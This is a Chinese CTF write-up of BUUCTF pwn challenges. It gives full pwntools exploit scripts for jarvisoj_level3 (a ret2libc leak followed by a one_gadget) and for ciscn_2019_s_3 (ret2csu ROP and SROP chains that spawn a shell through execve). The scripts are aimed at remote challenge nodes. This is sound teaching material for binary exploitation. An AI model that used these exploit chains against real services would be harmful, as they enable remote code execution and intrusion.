32题 BUUCTF-PWN-第一页writep( 六 )

总结:堆题太灵活太富有技巧性了,怎么把技巧性的总结为经验是很重要的jarvisoj_level3简单的 ret2libcfrom pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 29138)elf = ELF('pwn')payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(0x1) + p32(elf.got['write']) + p32(0x4)p.sendlineafter(b'Input:\n', payload)write_addr = u32(p.recvuntil(b'\xf7'))print('write_addr=>',hex(write_addr))libc = ELF('buu/libc-2.23.so')libcbase = write_addr - libc.sym['write']one_gadget = libcbase + 0x3a80cpayload = b'a'*140 + p32(one_gadget)p.sendlineafter(b'Input:\n', payload)p.interactive()ciscn_2019_s_3可以利用的程序函数很少的一道题

32题 BUUCTF-PWN-第一页writep

文章插图
这里可以栈溢出,并且会打印 0x30 个字符,可以通过gdb调试看看程序在输入后打印的数据如下
32题 BUUCTF-PWN-第一页writep

文章插图
gdb调试结果
32题 BUUCTF-PWN-第一页writep

文章插图
32题 BUUCTF-PWN-第一页writep

文章插图
其中,由于没开启 PIE  , 所以 0x400536 没有变化直接被打印出来因此,如果把 aaaaaaaa 替换成 /bin/sh 时,那么 , 我们接受到了 0x20 开始的八个字符就是与 /bin/sh 的地址有固定偏移量的地址 。偏移量为 0xdf88 - 0xde70 = 0x118 ,所以 /bin/sh 的地址就拿到了我们的目的是进行 execve 系统调用$rax==59 $rdi== binsh_addr $rsi==0 $rdx==0 syscall不过 rdx 的指令利用 ROPgadget 找不到所以就是 CSU_ROP 了
32题 BUUCTF-PWN-第一页writep

文章插图
看这两处区域,其中 0x400580 可以帮助我们控制 rdx 寄存器,但是一旦运行到 0x400589 这里 , 那么就会跳转到 [r12 + 0] ,所以要注意控制 r12 寄存器,并且 , cmp 跳转这里的 rbp 寄存器也是需要我们去控制的需要控制这么多的寄存器,那么就只有下面的 0x40059A 开始的指令合适了那么二次攻击的 payload 就应该是 像将 rbx rbp r12 r13 r14 r15 放入构造好的值,以便接下来利用 0x400580 指令时程序能够顺利执行 shellcode接下来要弄清楚我们要应该给 r12 传什么值首先我们的二次攻击 pyload 应该是这样的/bin/sh\x00 # binsh_addrb'a'*8 #填充到 retrbx_rbp_r12_r13_r14_r15rbx => 0rbp => 1 #避免跳转r12 =>r13 => 0r14 => 0r15 => 0r13_rdx # rdx 赋值完毕 开始执行 call cmp 指令rdi # call 应该跳转到这里,binsh_addr + 0x50rdi => binsh_addr # rdi 赋值完毕rsi_r15rsi => 0 # rsi 赋值完毕r15 => 0rax_3brax => 3b # rax 赋值完毕syscall #进行系统调用 getshell注:每一格的大小为 0x8有两个坑点 , 第一个真的特别坑,ubuntu16调试的话,0x20 后泄露的地址与 /bin/sh 的偏移量是 0x118 ,  ubuntu22 是 0x148,还有如果第一次攻击后跳转到 main 函数的话,偏移量应该要是 0x138 ,只有跳转到 vuln 函数才能是 0x118第二个是没有汇编指令中 leave,所以直接覆盖 ret 就行expfrom pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 26376)elf = ELF('pwn')rax_3b = 0x4004E2rdi = 0x4005a3rsi_r15 = 0x4005a1rbx_rbp_r12_r13_r14_r15 = 0x40059Ar13_rdx = 0x400580syscall = 0x400517payload = b'a'*0x10 + p64(elf.sym['vuln'])p.sendline(payload)p.recv(0x20)binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118print('binsh=>',hex(binsh))payload = b'/bin/sh\x00'payload = payload.ljust(0x10, b'a')payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3payload += p64(r13_rdx)payload += p64(rdi) + p64(binsh)payload += p64(rsi_r15) + p64(0)*2payload += p64(rax_3b)payload += p64(syscall)p.sendline(payload)p.interactive()不懂,为什么偏移要随跳转函数的改变而改变,是因为vuln 调用 main 和 main 调用 vuln 栈中多压入 rbp 和 rip 吗,所以多了 0x20  , 但是我调试的时候貌似 buf 的地址会改变,第二次泄露的地址就是第一次泄露的地址 - 0x118。而且是在第一次攻击调用 main 函数的情况下 。当然这是本地调试的情况,远程就不清楚了还可以用 SROP 的方法做
from pwn import *from LibcSearcher import *context.log_level='debug'context(os='linux', arch='amd64')#p = process('pwn')p = remote('node4.buuoj.cn', 26376)elf = ELF('pwn')rax_15 = 0x4004DAsyscall = 0x400517payload = b'a'*0x10 + p64(elf.sym['vuln'])p.sendline(payload)p.recv(0x20)binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118print('binsh=>',hex(binsh))# 设置sigframe关键寄存器sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = binshsigframe.rsi = 0sigframe.rdx = 0sigframe.rip = syscallprint('sigframe.rax:',sigframe.rax)payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe)p.sendline(payload)p.interactive()

推荐阅读